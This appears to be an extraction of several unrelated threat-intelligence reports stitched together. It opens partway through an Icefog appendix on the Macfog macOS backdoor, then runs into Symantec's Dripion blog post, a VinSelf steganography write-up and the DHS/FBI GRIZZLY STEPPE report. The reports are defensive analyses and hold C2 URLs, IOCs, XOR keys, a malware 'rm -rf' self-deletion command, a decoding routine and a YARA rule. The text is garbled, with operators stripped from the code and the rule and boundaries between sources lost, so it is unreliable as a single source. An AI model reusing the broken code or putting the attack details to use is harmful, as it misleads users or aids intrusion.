MACFOG L AUNCHER MODULE Filename: launchd Location in the bundle: Img2icns.app/Contents/MacOS/launchd File size: 23084 bytes Format: Mach-O Intel 64-bit executable MD5: 336de9428650c46b64ff699ab4a441bb The module is written in Objective C language and contains 4 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload.
The latter three classes seem to be included from the backdoors source code but not used.
All functionality is implemented in the function AppDelegate - (void) applicationDidFinishLaunching:(id).
The module was created from the same source code as the dropper but instead of installing the backdoor module, it only executes the malicious payload and the decoy application: bundle path/Contents/Resources/.launchd.app bundle path/Contents/Resources/.Img2icns.app (the original Img2icns application, http://www.img2icnsapp.com/).
65 APPENDIX D MACFOG DROPPER MODULE Filename: Img2icns Location in the bundle: Img2icns.app/Contents/MacOS/Img2icns File size: 23236 bytes Format: Mach-O Intel 64-bit executable MD5: 9f422bb6c00bb46fbfa3918ae3e9447a The module is written in Objective C language and contains 4 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload.
The latter three classes seem to be included from the backdoors source code but not used.
All functionality is implemented in the function AppDelegate - (void) applicationDidFinishLaunching:(id).
The module copies its malicious bundle from Contents/Resources/.launchd.app to users home directory /Users/username and launches it, effectively activating the backdoor.
Then, it launches the legitimate part of the bundle, Contents/Resources/Img2icns.app that is the original Img2icns application (http://www.img2icnsapp.com/).
MACFOG BACKDOOR MODULE Filename: launchd Location in the bundle: Img2icns.app/Contents/Resources/.launchd.app/Contents/ MacOS/launchd Location on disk: /Users/user name/.launchd.app/Contents/MacOS/launchd File size: 32748 bytes Format: Mach-O Intel 64-bit executable MD5: cf1815491d41202eb8647341a8695e1e The module is written in Objective C language and contains 5 classes: AppDelegate, UCHostInf, UCNet, UCUpDownload, KEYLogger.
The KEYLogger class appears to be incomplete.
It is only able to get information about active modifier keys and writes data to a log file: HOME/Library/log.log 66 APPENDIX D When started, the module launches an application: applications bundle path/Contents/ Resources/.launchd.app This code seems to be reused from the dropper module.
Then, it proceeds with installation.
Once the installation is finished, it starts its main thread (UCServerThread function) in an infinite loop.
INSTALL ATION The module checks if its bundle directory is located in /Users/username/ and if not it copies the bundle to that directory.
It also writes the command rm -rf original bundle path to the file /Users/username/.launchd.
app/config.dat.
This command is then executed by the installed copy of the backdoor, effectively removing the original bundle directory.
Then, it creates a file HOME/Library/LaunchAgents/apple.launchd.plist with all the parameters required to launch the backdoor every time the system starts.
MAIN THREAD The module retrieves host information and host name and uploads this information to the C2 server.
All data sent to the CC server is encrypted with the hardcoded XOR key 0hh8979.
First, it makes a POST request with URL hxxp://appst0re.net/upload.
aspx?filepathokfilenamehostname.jpg.
After that, it requests commands from the CC server.
If no data was received, it tries again after sleeping for 120 seconds.
The module requests new commands by making a POST request to the CC server by URL hxxp:// appst0re.net/upload.aspx?filepathorderfilenamehostname.jpg and then executes the command: COMMAND DESCRIPTION upload Download the file from the CC server and save it to disk download Upload the file to the CC server cmd Execute command via popen function, upload results to the CC server 67 APPENDIX D Information retrieved from the system: host name OS name OS version string process information IP addresses system uptime host date/time CC server: hxxp://appst0re.net CC URLs: hxxp://appst0re.net/upload.aspx?filepathorder/ok/arbitrary namefilenamehostname.jpg CL ASS STRUCTURE AppDelegate (main) -[AppDelegate applicationDidFinishLaunching:] -[AppDelegate UCServerThread:] -[AppDelegate window] -[AppDelegate setWindow:] UCHostInf [UCHostInf GetHostName] [UCHostInf GetHostInfo] UCNet [UCNet HttpGet:PostData:Error:] [UCNet HttpGetSimple:Error:] [UCNet HttpPost:PostData:Error:] 68 APPENDIX D [UCNet HttpPostSimple:Error:] UCUpDownLoad [UCUpDownLoad UpLoadFile:FileName:FileData:] [UCUpDownLoad DownLoadFile:FileName:] KEYLogger [KEYLogger keyLogger] EXECUTIVE SUMMARY Attack Analysis Spear-phishing attacks - Microsoft Office exploits Spear-phishing attacks - Java exploits Spear-phishing attacks - HLP vector Spear-phishing attacks - HWP vector Attackers Modus Operandi Backdoor Information Lateral movement tools: Command and Control servers CC Servers Infrastructure Infection data and statistics Sinkhole Information Attribution Mitigation Information Indicators of Compromise (IOCs) Conclusions Appendix A Malware MD5s Appendix B Malware Technical Analysis Appendix C The Icefog-NG Bot Description Appendix D The Macfog Bot Description
March 28, 2016 Taiwan targeted with new cyberespionage back door Trojan symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan Symantec Official Blog Backdoor.
Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.
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By: Jon_DiMaggioSymantec Employee Created 29 Mar 2016 : View the indicators of compromise.
In late August 2015, Symantec identified a previously unknown back door Trojan (Backdoor.
Dripion) infecting organizations primarily located in Taiwan, as well as Brazil and the United States.
Dripion is custom-built, designed to steal information, and has been used sparingly in a limited number of targeted attacks.
The attackers behind this campaign went to some lengths to disguise their activities, including using domains names disguised as antivirus (AV) company websites for their command and control (CC) servers.
These attacks have some links to earlier attacks by a group called Budminer involving the Taidoor Trojan (Trojan.
Taidoor).
1/8 https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan https://www.symantec.com/connect/user/jondimaggio https://www.symantec.com/connect/ja/node/3582391 https://www.symantec.com/connect/node/3581291connect-anchor-link-iocs https://www.symantec.com/security_response/writeup.jsp?docid2016-021718-5309-99 https://www.symantec.com/security_response/writeup.jsp?docid2011-072816-0504-99 The threat posed by custom malware such as Dripion illustrates the value of multilayered security.
Unknown threats may evade signature-based detection, but can be blocked by other detection tools which identify malicious behavior.
Background Our investigation began when we received three file hashes, which we determined to have the functionality of a back door with information-stealing capabilities.
The malware appeared to be new, rarely detected, and not publicly available.
As we analyzed the binary and compared it against other known back door Trojans, we realized this was custom-developed malware.
Developing a back door with information-stealing capabilities designed to evade detection requires both knowledge and funding.
Usually when we see a new back door Trojan like this, it is tied to organizations involved in cyberespionage campaigns.
Malware downloader One of the first steps taken when investigating malware is to determine how it is getting onto a victims computer.
Many publicly available downloaders exist however, only a few unique downloaders have been used over the past few years that have been exclusive to cyberespionage activity.
Since Dripion appeared to be used by a single attacker against a small target group, we wanted to determine if the downloader could provide additional evidence to help attribute the threat to any known threat groups.
The downloader was identified as Downloader.
Blugger (MD5: 260f19ef39d56373bb5590346d2c1811).
It is not a new piece of malware, having been in existence since at least 2011.
How the victim was infected with Blugger is currently unknown.
Blugger used encryption to make its infrastructure and commands queried in the URL requests harder to detect.
After decrypting however, we identified the following URL requests: http://classic-blog.
[REDACTED DOMAIN 1].com/nasyzk/20002630 http://nasyzk.
[REDACTED DOMAIN 2].net/blog/post/251315428 Both of the domains we analyzed in the URLs requested by the downloader are publicly accessible blogs.
The downloader contacts these blog URLs in order to retrieve Dripion for installation.
The blog posts are primarily in English yet most of the targets are based in Taiwan.
As illustrated in Figure 1, one of the blogs references US healthcare spending.
It is unknown if the attacker created the blog or simply compromised another to use in their attacks.
If the blog was compromised, then the attacker likely would not create posts themselves as it would show the blogs creator that something was awry.
If the blog was created by the attacker, it may be an attempt to develop a blog with topics that would likely be of interest to the intended target.
Most of the blogs were related to news events.
2/8 https://www.symantec.com/security_response/writeup.jsp?docid2011-030106-5750-99 Figure 1.
Screenshot of one of the blogs used to infect the victim with Dripion malware The Dripion back door Trojan Once Dripion is installed, the attacker can access the users computer.
Dripion has the functionally of a back door Trojan, letting attackers upload, download, and steal pre- determined information from the victim, and execute remote commands.
Information such as the victims computer name and IP address are automatically transmitted to the CC server upon the initial infection.
Command Description GoSleep Sleeps for 10 minutes GoKill Attempts to delete itself and ends its activities GoBye Disconnects from the computer nodata Similar to GoBye Command Execute command (lpCommandLine in CreateProcessA), redirect result through pipe to .tmp file and Download file UpFile Write data in file on victims computer DownFile Write data to a remote open file (InternetWriteFile).
The .tmp file used may be deleted after success operation.
ExecuteFile Create a new process (CreateProcessA) Table 1.
Commands associated with the Dripion malware 3/8 Additionally, the developer of the Dripion malware used XOR encoding for both the binary configuration file (XOR: 0xA8) as well as network requests with the CC server (XOR: 0xA3), to make detection more difficult.
Dripion has been identified in multiple variations and has version numbers hardcoded within the malware.
This indicates that the attackers have the ability to both create and develop their own custom malware as well as update their code to provide new capabilities and make detection more difficult.
Ties to previous cyberespionage activity The use of publicly accessible blogs to distribute malware is a tactic we have seen previously, but few cyberespionage groups have used this technique.
Fewer still have used this strategy to deliver custom-developed malware not often seen in the wild.
The first piece of evidence pointing towards a link with previous cyberespionage campaigns was the use of the Blugger downloader, which has only been used by a group Symantec calls Budminer.
This group has used Blugger to distribute its own custom malware known as Taidoor (Trojan.
Taidoor).
Symantec has previously written about Budminers Taidoor campaigns.
Significantly, this is the first time we have seen Blugger used to deliver malware other than Taidoor.
Further investigation uncovered a second tie with earlier Budminer activity.
One of the Blugger samples associated with Dripion connected with a root domain also used in Taidoor-related activity.
Figure 2.
Dripion and Taidoor share ties with the same root domain.
Both of the URL queries originated from the Blugger downloader which connected to the blog classic-blog.
[REDACTED DOMAIN 1].com.
They then call out to subdomains of the domain [REDACTED DOMAIN 3].net.
Both Dripion and Taidoor not only connected to the same 4/8 https://www.symantec.com/security_response/writeup.jsp?docid2011-072816-0504-99 http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks website (classic-blog.
[REDACTED DOMAIN 1].com) but also used the same URL (classic- blog.
[REDACTED DOMAIN 1].com /nasyzk/[ENCODED TEXT]) to obtain the encrypted CC configuration.
Targeting Symantec first identified activity involving Dripion in September 2015.
Based on the timestamp of the earliest known sample however, Dripion may have been in existence since 2013.
The Dripion activity that we have analyzed is extremely targeted and has involved far fewer victims compared to the number of users infected with Taidoor.
Figure 3.
Detection of unique Dripion and Taidoor file hashes by region The similarity between the two sets of activity is the number of unique file hashes found infecting users located in Taiwan.
Unfortunately, we need more data to determine if the timestamps associated with Dripion dating back to November 2013 (7ad3b2b6eee18af6816b6f4f7f7f71a6) are legitimate or if they have been forged.
The earliest known Dripion activity we were able to validate took place in November 2014.
Despite the one-year gap in activity, it is possible that campaigns involving Dripion happened during this period and went undetected due to its small target window.
Another interesting tactic used to deceive potential targets lies within the CC infrastructure.
The attackers created multiple domains with names similar to that of legitimate companies and websites in the antivirus community.
For example the domains hyydn.nortonsoft[.
]com and mhysix.mcfeesoft[.
]com were both CC domains used in attacks.
Using typo-squat domains to mimic legitimate sites is a tactic frequently used to trick the targets as well as defenders, in an effort to make the domains blend in with normal activity.
5/8 Conclusion We began this investigation with what we believed was a new campaign using an unidentified back door Trojan against targets primarily in Taiwan.
As the investigation grew we found multiple ties between this newly discovered attack and activity associated with the Budminer cyberespionage group: Same unique downloader (not publicly available and only seen used in China-based cyberespionage activity) The unique downloader used by both Dripion and Taidoor encrypts data using the victims MAC address as the RC4 key Use of the same blogs for distribution of malware (Taidoor and Dripion) Use of shared CC infrastructure (at the root domain level) Similar targeting (primary location of targets is Taiwan) We compared Dripion against Taidoor malware samples to determine if there was any shared code or if it may have originated from the same developer.
Our findings concluded there were no similarities between the two malware families.
However, the downloader used by both malware families has unique attributes, and we believe it to be from the same developer.
So what does all this mean?
Attribution of cyberespionage groups is difficult and needs to be done carefully based on fact and not assumptions.
We have a number of ties between the two sets of activity.
Not all of the ties are strong on their own, but together provide a strong case that there is a relationship between the groups targeting Taiwan using Dripion and Taidoor malware.
Based on the evidence we have presented Symantec attributed the activity involving the Dripion malware to the Budminer advanced threat group.
While we have not seen new campaigns using Taidoor malware since 2014, we believe the Budminer group has changed tactics to avoid detection after being outed publicly in security white papers and blogs over the past few years.
This investigation is just one example of Symantecs ongoing effort to identify unknown emerging threats.
By remaining one step ahead of adversaries, we can protect customers with intelligence driven security.
Mitigation advice Always keep your security software up to date to protect yourself against any new variants of this malware.
Keep your operating system and other software updated.
Software updates will frequently include patches for newly discovered security vulnerabilities which are frequently exploited by attackers.
Delete any suspicious-looking emails you receive, especially if they contain links or attachments.
Spear phishing emails are frequently used by cyberespionage attackers as a means of luring victims into opening malicious files.
6/8 Protection Symantec and Norton products protect against these threats with the following detections: Indicators of compromise File hashes 2dd931cf0950817d1bb567e12cf80ae7 3652075425b367d101a7d6b6ef558c6c 59ff5624a02e98f60187add71bba3756 865d24324f1cac5aecc09bae6a9157f5 eca0ef705d148ff105dbaf40ce9d1d5e f4260ecd0395076439d8c0725ee0125f 3652075425b367d101a7d6b6ef558c6c 285de6e5d3ed8ca966430846888a56ff 31f83a1e09062e8c4773a03d5993d870 4438921ea3d08d0c90f2f903556967e5 7ad3b2b6eee18af6816b6f4f7f7f71a6 b594d53a0d19eaac113988bf238654d3 c3e6ce287d12ac39ceb24e08dc63e3b5 e0c6b7d9bdae838139caa3acce5c890d e7205c0b80035b629d80b5e7aeff7b0e c182e33cf7e85316e9dc0e13999db45e 272ff690f6d27d2953fbadf75791274c ae80f056b8c38873ab1251c454ed1fe9 260f19ef39d56373bb5590346d2c1811 FE8D19E3435879E56F5189B37263AB06 68BEBCD9D2AD418332980A7DAB71BF79 CBDE79B6BA782840DB4ACA46A5A63467 Infrastructure hyydn[.
]nortonsoft.com mhysix[.
]mcfeesoft.com gspt[.
]dns1.us unpt[.
]defultname.com 198.144.100.73 208.61.229.10 200.215.222.105 61.222.137.66 103.240.182.99 Tags: Products, Endpoint Protection, Security Response, APT, Backdoor.
Dripion, Cyberespionage, Downloader.
Blugger, Taiwan, targeted attacks, Trojan.
Taidoor, United States 7/8 https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:37391 https://www.symantec.com/connect/search?filtersim_vid_111:99461 https://www.symantec.com/connect/search?filtersim_vid_111:84571 https://www.symantec.com/connect/search?filtersim_vid_111:99491 https://www.symantec.com/connect/search?filtersim_vid_111:99471 https://www.symantec.com/connect/search?filtersim_vid_111:29071 https://www.symantec.com/connect/search?filtersim_vid_111:49681 https://www.symantec.com/connect/search?filtersim_vid_111:99391 Subscriptions (0) 8/8 Taiwan targeted with new cyberespionage back door Trojan Indicators of compromise
Vinself now with steganography VinSelf is a known RAT malware already explained on other blogs .
Its a family that has been long used in APT attacks.
VinSelf can be recognized in two ways: the network patterns used the strings obfuscation in the binary.
The VinSelf obfuscation algorithm is quite simple, but specific enough to state that samples using it are from the same family: def vinself_cipher(x, key): output lkey ord(x[0]) for i in xrange(len(x)-1): output chr( ( ( ord(x[i1]) ord(key[i]) ) - lkey) 0xff) lkey ord(x[i1]) return output Recently, we came accross an interesting sample that, instead of connecting to a malicious CC, was grabbing a file (colors.bmp) from Google Docs.
Due to the presence of the aforementioned algorithm, the sample had been categorized as VinSelf, so such a behavior was unexpected and confusing.
Starting point While the image is a valid Bitmap and can actually be displayed, it may be something more than a simple Bitmap.
We have seen pieces of malware appending data at the end of legitimate/innofensive files being retrieved.
For example, VinSelf itself sends encrypted data to its CC prepended by a GIF89a header.
Foxy also receives encrypted commands from its CC in what seems a legitimate JPEG image, and Shady RAT is concealing commands in encrypted HTML commentaries, or inside images using real steganography.
Lets look at the code following the retrieval of this file from Google Docs if theres something interesting.
Steganography The function following the retrieval of the colors.bmp file is quite interesting.
https://www.fireeye.com/blog/threat-research/2010/11/winself-a-new-backdoor-in-town.html http://www.cyberesi.com/2011/08/31/trojan-foxy/ http://www.symantec.com/connect/blogs/truth-behind-shady-rat As you can see, it is scanning the image pixel per pixel.
The outermost loop is incrementing the row counter, the next one is incrementing the column counter while the innermost one is a loop among the three primary colors.
The function is grabbing the LSB (Least Significant Bit) of each color of each pixel, thus generating three bits of data per pixel of the image.
Once all those LSBs have been grabbed, each byte of the bitstream is reversed.
Unciphering Now that we have extracted the hidden data, it must be unciphered: this is done in four steps: the first step is the use of the VinSelf custom obfuscation algorithm with an hard-coded key in the binary the second step is another use of the VinSelf custom obfuscation algorithm with the key decoded at the previous step on the next 32 bytes of the data the third step is a decryption algorithm that was, at first, unknown to us.
Thanks to the specific bitwise manipulations employed by this code (shifts and rotations) and to the quick and efficient research of our cryptoteam, it was successfully identified as HC-128, a stream cipher that is not used that much finally, the fourth and last step is once again the use of the VinSelf custom obfuscation algorithm with the key used in the second step on the HC-128 decrypted data.
End point Ultimately we end up with a CC configuration that looks like: 192.168.1.101:2.2.2.2:3.3.3.3:4.4.4.4 As a matter of fact, we changed the real content in the source image to not disclose the real CC.
So instead of having just one layer of obfuscation (the custom VinSelf algorithm), we end up with several layers: the custom VinSelf algorithm encrypting the Google Docs URL an LSB-extraction steganography two instances of the VinSelf algorithm an HC-128 encryption a final VinSelf encryption.
http://www.ecrypt.eu.org/stream/p3ciphers/hc/hc128_p3.pdf As usual, a script to extract this information from a VinSelf BMP file has been released on our Bitbucket repository.
Steganography is not just for hipsters, it is still being used nowadays.
https://bitbucket.org/cybertools/malware_tools/
TLP:WHITE 1 of 13 TLP:WHITE JOINT ANALYSIS REPORT DISCLAIMER: This report is provided as is for informational purposes only.
The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within.
DHS does not endorse any commercial product or service referenced in this advisory or otherwise.
This document is distributed as TLP:WHITE: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see https://www.us-cert.gov/tlp.
Reference Number: JAR-16-20296 December 29, 2016 GRIZZLY STEPPE Russian Malicious Cyber Activity Summary This Joint Analysis Report (JAR) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI).
This document provides technical details regarding the tools and infrastructure used by the Russian civilian and military intelligence Services (RIS) to compromise and exploit networks and endpoints associated with the U.S. election, as well as a range of U.S. Government, political, and private sector entities.
The U.S. Government is referring to this malicious cyber activity by RIS as GRIZZLY STEPPE.
Previous JARs have not attributed malicious cyber activity to specific countries or threat actors.
However, public attribution of these activities to RIS is supported by technical indicators from the U.S. Intelligence Community, DHS, FBI, the private sector, and other entities.
This determination expands upon the Joint Statement released October 7, 2016, from the Department of Homeland Security and the Director of National Intelligence on Election Security.
This activity by RIS is part of an ongoing campaign of cyber-enabled operations directed at the U.S. government and its citizens.
These cyber operations have included spearphishing campaigns targeting government organizations, critical infrastructure entities, think tanks, universities, political organizations, and corporations leading to the theft of information.
In foreign countries, RIS actors conducted damaging and/or disruptive cyber-attacks, including attacks on critical infrastructure networks.
In some cases, RIS actors masqueraded as third parties, hiding behind false online personas designed to cause the victim to misattribute the source of the attack.
This JAR provides technical indicators related to many of these operations, recommended mitigations, suggested actions to take in response to the indicators provided, and information on how to report such incidents to the U.S. Government.
https://www.us-cert.gov/tlp https://www.dhs.gov/news/2016/10/07/joint-statement-department-homeland-security-and-office-director-national TLP:WHITE 2 of 13 TLP:WHITE Description The U.S. Government confirms that two different RIS actors participated in the intrusion into a U.S. political party.
The first actor group, known as Advanced Persistent Threat (APT) 29, entered into the partys systems in summer 2015, while the second, known as APT28, entered in spring 2016.
Figure 1: The tactics and techniques used by APT29 and APT 28 to conduct cyber intrusions against target systems Both groups have historically targeted government organizations, think tanks, universities, and corporations around the world.
APT29 has been observed crafting targeted spearphishing campaigns leveraging web links to a malicious dropper once executed, the code delivers Remote Access Tools (RATs) and evades detection using a range of techniques.
APT28 is known for leveraging domains that closely mimic those of targeted organizations and tricking potential victims into entering legitimate credentials.
APT28 actors relied heavily on shortened URLs in their spearphishing email campaigns.
Once APT28 and APT29 have access to victims, both groups exfiltrate and analyze information to gain intelligence value.
These groups use this information to craft highly targeted spearphishing campaigns.
These actors set up operational infrastructure to obfuscate their source infrastructure, host domains and malware for targeting organizations, establish command and control nodes, and harvest credentials and other valuable information from their targets.
In summer 2015, an APT29 spearphishing campaign directed emails containing a malicious link to over 1,000 recipients, including multiple U.S. Government victims.
APT29 used legitimate TLP:WHITE 3 of 13 TLP:WHITE domains, to include domains associated with U.S. organizations and educational institutions, to host malware and send spearphishing emails.
In the course of that campaign, APT29 successfully compromised a U.S. political party.
At least one targeted individual activated links to malware hosted on operational infrastructure of opened attachments containing malware.
APT29 delivered malware to the political partys systems, established persistence, escalated privileges, enumerated active directory accounts, and exfiltrated email from several accounts through encrypted connections back through operational infrastructure.
In spring 2016, APT28 compromised the same political party, again via targeted spearphishing.
This time, the spearphishing email tricked recipients into changing their passwords through a fake webmail domain hosted on APT28 operational infrastructure.
Using the harvested credentials, APT28 was able to gain access and steal content, likely leading to the exfiltration of information from multiple senior party members.
The U.S. Government assesses that information was leaked to the press and publicly disclosed.
Figure 2: APT28s Use of Spearphishing and Stolen Credentials Actors likely associated with RIS are continuing to engage in spearphishing campaigns, including one launched as recently as November 2016, just days after the U.S. election.
TLP:WHITE 4 of 13 TLP:WHITE Reported Russian Military and Civilian Intelligence Services (RIS) Alternate Names APT28 APT29 Agent.btz BlackEnergy V3 BlackEnergy2 APT CakeDuke Carberp CHOPSTICK CloudDuke CORESHELL CosmicDuke COZYBEAR COZYCAR COZYDUKE CrouchingYeti DIONIS Dragonfly Energetic Bear EVILTOSS Fancy Bear GeminiDuke GREY CLOUD HammerDuke HAMMERTOSS Havex MiniDionis MiniDuke OLDBAIT OnionDuke Operation Pawn Storm PinchDuke Powershell backdoor Quedagh Sandworm SEADADDY Seaduke SEDKIT SEDNIT Skipper Sofacy SOURFACE SYNful Knock Tiny Baron Tsar Team twain_64.dll (64-bit X-Agent implant) VmUpgradeHelper.exe (X-Tunnel implant) Waterbug X-Agent TLP:WHITE 5 of 13 TLP:WHITE Technical Details Indicators of Compromise (IOCs) IOCs associated with RIS cyber actors are provided within the accompanying .csv and .stix files of JAR-16-20296.
Yara Signature rule PAS_TOOL_PHP_WEB_KIT meta: description PAS TOOL PHP WEB KIT FOUND strings: php ?
php base64decode /\base\.\(\d\\d\)\._de\.code/ strreplace (str_replace( md5 .substr(md5(strrev( gzinflate gzinflate cookie _COOKIE isset isset condition: (filesize 20KB and filesize 22KB) and cookie 2 and isset 3 and all of them Actions to Take Using Indicators DHS recommends that network administrators review the IP addresses, file hashes, and Yara signature provided and add the IPs to their watchlist to determine whether malicious activity has been observed within their organizations.
The review of network perimeter netflow or firewall logs will assist in determining whether your network has experienced suspicious activity.
When reviewing network perimeter logs for the IP addresses, organizations may find numerous instances of these IPs attempting to connect to their systems.
Upon reviewing the traffic from these IPs, some traffic may correspond to malicious activity, and some may correspond to legitimate activity.
Some traffic that may appear legitimate is actually malicious, such as vulnerability scanning or browsing of legitimate public facing services (e.g., HTTP, HTTPS, FTP).
Connections from these IPs may be performing vulnerability scans attempting to identify websites that are vulnerable to cross-site scripting (XSS) or Structured Query Language (SQL) injection attacks.
If scanning identified vulnerable sites, attempts to exploit the vulnerabilities may be experienced.
TLP:WHITE 6 of 13 TLP:WHITE Network administrators are encouraged to check their public-facing websites for the malicious file hashes.
System owners are also advised to run the Yara signature on any system that is suspected to have been targeted by RIS actors.
Threats from IOCs Malicious actors may use a variety of methods to interfere with information systems.
Some methods of attack are listed below.
Guidance provided is applicable to many other computer networks.
Injection Flaws are broad web application attack techniques that attempt to send commands to a browser, database, or other system, allowing a regular user to control behavior.
The most common example is SQL injection, which subverts the relationship between a webpage and its supporting database, typically to obtain information contained inside the database.
Another form is command injection, where an untrusted user is able to send commands to operating systems supporting a web application or database.
See the United States Computer Emergency Readiness Team (US-CERT) Publication on SQL Injection for more information.
Cross-site scripting (XSS) vulnerabilities allow threat actors to insert and execute unauthorized code in web applications.
Successful XSS attacks on websites can provide the attacker unauthorized access.
For prevention and mitigation strategies against XSS, see US-CERTs Alert on Compromised Web Servers and Web Shells.
Server vulnerabilities may be exploited to allow unauthorized access to sensitive information.
An attack against a poorly configured server may allow an adversary access to critical information including any websites or databases hosted on the server.
See US- CERTs Tip on Website Security for additional information.
Recommended Mitigations Commit to Cybersecurity Best Practices A commitment to good cybersecurity and best practices is critical to protecting networks and systems.
Here are some questions you may want to ask your organization to help prevent and mitigate against attacks.
1.
Backups: Do we backup all critical information?
Are the backups stored offline?
Have we tested our ability to revert to backups during an incident?
2.
Risk Analysis: Have we conducted a cybersecurity risk analysis of the organization?
3.
Staff Training: Have we trained staff on cybersecurity best practices?
4.
Vulnerability Scanning Patching: Have we implemented regular scans of our network and systems and appropriate patching of known system vulnerabilities?
5.
Application Whitelisting: Do we allow only approved programs to run on our networks?
6.
Incident Response: Do we have an incident response plan and have we practiced it?
https://www.us-cert.gov/security-publications/sql-injection https://www.us-cert.gov/security-publications/sql-injection https://www.us-cert.gov/ncas/alerts/TA15-314A https://www.us-cert.gov/security-publications/website-security TLP:WHITE 7 of 13 TLP:WHITE 7.
Business Continuity: Are we able to sustain business operations without access to certain systems?
For how long?
Have we tested this?
8.
Penetration Testing: Have we attempted to hack into our own systems to test the security of our systems and our ability to defend against attacks?
Top Seven Mitigation Strategies DHS encourages network administrators to implement the recommendations below, which can prevent as many as 85 percent of targeted cyber-attacks.
These strategies are common sense to many, but DHS continues to see intrusions because organizations fail to use these basic measures.
1.
Patch applications and operating systems Vulnerable applications and operating systems are the targets of most attacks.
Ensuring these are patched with the latest updates greatly reduces the number of exploitable entry points available to an attacker.
Use best practices when updating software and patches by only downloading updates from authenticated vendor sites.
2.
Application whitelisting Whitelisting is one of the best security strategies because it allows only specified programs to run while blocking all others, including malicious software.
3.
Restrict administrative privileges Threat actors are increasingly focused on gaining control of legitimate credentials, especially those associated with highly privileged accounts.
Reduce privileges to only those needed for a users duties.
Separate administrators into privilege tiers with limited access to other tiers.
4.
Network Segmentation and Segregation into Security Zones Segment networks into logical enclaves and restrict host-to-host communications paths.
This helps protect sensitive information and critical services and limits damage from network perimeter breaches.
5.
Input validation Input validation is a method of sanitizing untrusted user input provided by users of a web application, and may prevent many types of web application security flaws, such as SQLi, XSS, and command injection.
6.
File Reputation Tune Anti-Virus file reputation systems to the most aggressive setting possible some products can limit execution to only the highest reputation files, stopping a wide range of untrustworthy code from gaining control.
7.
Understanding firewalls When anyone or anything can access your network at any time, your network is more susceptible to being attacked.
Firewalls can be configured to block data from certain locations (IP whitelisting) or applications while allowing relevant and necessary data through.
TLP:WHITE 8 of 13 TLP:WHITE Responding to Unauthorized Access to Networks Implement your security incident response and business continuity plan.
It may take time for your organizations IT professionals to isolate and remove threats to your systems and restore normal operations.
Meanwhile, you should take steps to maintain your organizations essential functions according to your business continuity plan.
Organizations should maintain and regularly test backup plans, disaster recovery plans, and business continuity procedures.
Contact DHS or law enforcement immediately.
We encourage you to contact DHS NCCIC (NCCICCustomerServicehq.dhs.gov or 888-282-0870), the FBI through a local field office or the FBIs Cyber Division (CyWatchic.fbi.gov or 855-292-3937) to report an intrusion and to request incident response resources or technical assistance.
Detailed Mitigation Strategies Protect Against SQL Injection and Other Attacks on Web Services Routinely evaluate known and published vulnerabilities, perform software updates and technology refreshes periodically, and audit external-facing systems for known Web application vulnerabilities.
Take steps to harden both Web applications and the servers hosting them to reduce the risk of network intrusion via this vector.1 Use and configure available firewalls to block attacks.
Take steps to further secure Windows systems such as installing and configuring Microsofts Enhanced Mitigation Experience Toolkit (EMET) and Microsoft AppLocker.
Monitor and remove any unauthorized code present in any www directories.
Disable, discontinue, or disallow the use of Internet Control Message Protocol (ICMP) and Simple Network Management Protocol (SNMP) and response to these protocols as much as possible.
Remove non-required HTTP verbs from Web servers as typical Web servers and applications only require GET, POST, and HEAD.
Where possible, minimize server fingerprinting by configuring Web servers to avoid responding with banners identifying the server software and version number.
Secure both the operating system and the application.
Update and patch production servers regularly.
Disable potentially harmful SQL-stored procedure calls.
Sanitize and validate input to ensure that it is properly typed and does not contain escaped code.
Consider using type-safe stored procedures and prepared statements.
Perform regular audits of transaction logs for suspicious activity.
Perform penetration testing against Web services.
Ensure error messages are generic and do not expose too much information.
1 http://msdn.microsoft.com/en-us/library/ff648653.aspx.
Web site last accessed April 11, 2016.
mailto:socus-cert.gov mailto:CyWatchic.fbi.gov http://msdn.microsoft.com/en-us/library/ff648653.aspx TLP:WHITE 9 of 13 TLP:WHITE Phishing and Spearphishing Implement a Sender Policy Framework (SPF) record for your organizations Domain Name System (DNS) zone file to minimize risks relating to the receipt of spoofed messages.
Educate users to be suspicious of unsolicited phone calls, social media interactions, or email messages from individuals asking about employees or other internal information.
If an unknown individual claims to be from a legitimate organization, try to verify his or her identity directly with the company.
Do not provide personal information or information about your organization, including its structure or networks, unless you are certain of a persons authority to have the information.
Do not reveal personal or financial information in social media or email, and do not respond to solicitations for this information.
This includes following links sent in email.
Pay attention to the URL of a website.
Malicious websites may look identical to a legitimate site, but the URL often includes a variation in spelling or a different domain than the valid website (e.g., .com vs. .net).
If you are unsure whether an email request is legitimate, try to verify it by contacting the company directly.
Do not use contact information provided on a website connected to the request instead, check previous statements for contact information.
Information about known phishing attacks is also available online from groups such as the Anti-Phishing Working Group (http://www.antiphishing.org).
Take advantage of anti-phishing features offered by your email client and web browser.
Patch all systems for critical vulnerabilities, prioritizing timely patching of software that processes Internet data, such as web browsers, browser plugins, and document readers.
Permissions, Privileges, and Access Controls Reduce privileges to only those needed for a users duties.
Restrict users ability (permissions) to install and run unwanted software applications, and apply the principle of Least Privilege to all systems and services.
Restricting these privileges may prevent malware from running or limit its capability to spread through the network.
Carefully consider the risks before granting administrative rights to users on their own machines.
Scrub and verify all administrator accounts regularly.
Configure Group Policy to restrict all users to only one login session, where possible.
Enforce secure network authentication where possible.
Instruct administrators to use non-privileged accounts for standard functions such as Web browsing or checking Web mail.
http://www.antiphishing.org/ TLP:WHITE 10 of 13 TLP:WHITE Segment networks into logical enclaves and restrict host-to-host communication paths.
Containment provided by enclaving also makes incident cleanup significantly less costly.
Configure firewalls to disallow RDP traffic coming from outside of the network boundary, except for in specific configurations such as when tunneled through a secondary VPN with lower privileges.
Audit existing firewall rules and close all ports that are not explicitly needed for business.
Specifically, carefully consider which ports should be connecting outbound versus inbound.
Enforce a strict lockout policy for network users and closely monitor logs for failed login activity.
This can be indicative of failed intrusion activity.
